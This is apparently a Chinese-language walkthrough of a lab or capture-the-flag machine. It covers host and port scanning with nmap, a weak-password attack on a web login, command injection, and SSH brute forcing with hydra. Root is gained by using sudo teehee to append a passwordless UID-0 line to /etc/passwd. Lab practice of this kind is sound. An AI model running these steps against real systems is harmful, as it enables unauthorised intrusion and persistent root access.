信息搜集
探测局域网存活主机
nmap -sP 192.168.19.128/24
发现存在192.168.19.131,接着扫描端口
nmap -p- 192.168.19.131
发现存在22端口提供ssh服务和80端口
渗透
在浏览器访问80端口发现是一个登录页面.尝试对admin用户进行弱密码爆破
我们爆出了相当多的密码都能够进行登录,随机选择一个进行登录
我们发现存在这样一个页面,然后查看源码发现存在rce漏洞.
我们抓包修改从前端传送的命令
通过whoami发现当前用户为www-data,通过ls /home发现存在三个用户:charles,jim,sam
然而当试图查看/home/sam的时候发现无法查看,没有权限.只有权限访问sam的家.
查看发现存在文件/home/jim/backups/old-passwords.bak
(同目录下的mbox没有权限查看)
查看发现是一个密码本,联想到之前的22端口ssh服务,我们尝试通过ssh进行登录.
提前将用户名和密码本写入username和password文件中
hydra -L username -P password 192.168.19.131 ssh -s 22
得到了jim的密码jibril04
通过ssh登录jim的账户
ssh [email protected] -p 22
我们查看mbox的内容,发现是邮件管理相关文件,因此我们在系统中搜索mail文件
find / -name mail
发现存在文件/var/mail/jim,查看发现是charles写给jim的信件,其中提到了charles的密码为^xHhA&hvim0y
我们切换到charles用户
提权
sudo -l
发现可以无密码的使用teehee(一个小众的文本编译器)
那么我们就可以通过teehee修改/etc/passwd文件
sudo teehee -a /etc/passwd
-a表示不覆盖(append),然后写入
lbz::0:0:root:/root:/bin/bash
创建一个无密码用户lbz,然后su lbz即可获得root权限.
这里解释一下/etc/passwd中的语句的含义
lbz 用户名
空白 密码
0 UID(用户ID),0表示root,其余的表示不同的普通用户
0 GID(组ID),0表示root,其余的表示不同的普通用户组
root 用户描述
/root 用户的主目录
/bin/bash 用户默认的shell
切换到/root读取flag